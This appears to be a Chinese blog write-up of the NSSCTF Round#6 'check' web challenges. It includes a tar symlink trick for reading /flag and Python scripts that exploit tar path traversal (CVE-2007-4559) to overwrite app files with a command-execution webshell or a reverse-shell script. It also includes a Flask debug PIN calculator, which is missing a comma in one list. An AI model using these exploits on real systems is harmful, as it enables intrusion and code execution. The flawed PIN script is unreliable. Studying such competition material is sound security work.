check(V1)

check(V2)

这两道题都可以用符号链接flag,然后读取

ln -s /flag exp.txt

打包exp.txt上传

然后访问download filename=exp.txt

check(Revenge)

非预期

debug模式如果文件有修改会自动重载,可以直接覆盖main.py

# -*- coding: utf-8 -*-
# @Time : 2022/10/16 11:14
# @Author : pysnow
import tarfile
import requests

url = 'http://1.14.71.254:28991/'


def change_name(tarinfo):
    tarinfo.name = "../../../../app/main.py"
    return tarinfo


with tarfile.open("exp.tar", "w") as tar:
    tar.add("exp.py", filter=change_name)


def upload():
    res = requests.post(url=url + 'upload', files={"file": open("exp.tar", 'rb')})
    print(res.content)



upload()
# -*- coding: utf-8 -*-
from flask import Flask, request
import tarfile
import os

app = Flask(__name__)


@app.route('/download', methods=['GET'])
def download_file():
    filename = request.args.get('filename')
    return os.popen(filename).read()


if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=80)

image-20221016170148741

预期

利用CVE-2007-4559进行任意写文件,然后覆盖/tmp/clean.sh,然后访问clean路由触发反弹shell,当然也可以是其他命令

攻击脚本

# -*- coding: utf-8 -*-
# @Time : 2022/10/16 11:14
# @Author : pysnow
import tarfile
import requests

url = 'http://1.14.71.254:28776/'


def change_name(tarinfo):
    tarinfo.name = "../../../tmp/clean.sh"
    return tarinfo


with tarfile.open("exp.tar", "w") as tar:
    tar.add("exp.sh", filter=change_name)


def upload():
    res = requests.post(url=url + 'upload', files={"file": open("exp.tar", 'rb')})
    print(res.content)


def clean():
    r = requests.post(url=url + 'clean')
    print(r.elapsed.total_seconds())


upload()
clean()

这里要注意一个点,就是这个exp.sh文件一定要先,chmod +x exp.sh之后再打包上传,如果不加权限会不能执行

image-20221016183652839

image-20221016183721112

flag有权限,这里开启了debug,直接常规解法算PIN码就行,而且这里已经RCE了,也不需要什么通过报错看路径了,这里给出算PIN脚本

flask debug我自己写过一篇,可以参考一下https://pysnow.cn/archives/170/

image-20221016184136286


# -*- coding: utf-8 -*-
# @Time : 2022/9/17 16:06
# @Author : pysnow
import hashlib
from itertools import chain

probably_public_bits = [
    'root'  # /etc/passwd
    'flask.app',  # 默认值
    'Flask',  # 默认值
    '/usr/local/lib/python3.10/site-packages/flask/app.py'  # 报错得到
]

private_bits = [
    '2485376924231',  # /sys/class/net/eth0/address 十进制
    '96cec10d3d9307792745ec3b85c8962016b0227cc2e6f9c79d6ea0b153537f559f59ccc60f6275c95e42c74172f23003'
    # 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

image-20221016185026088

最后修改:2022 年 10 月 16 日
如果觉得我的文章对你有用,请随意赞赏
本文作者:
文章标题:NSSCTF Round#6
本文地址:https://pysnow.cn/archives/510/
版权说明:若无注明,本文皆Pysnow's Blog原创,转载请保留文章出处。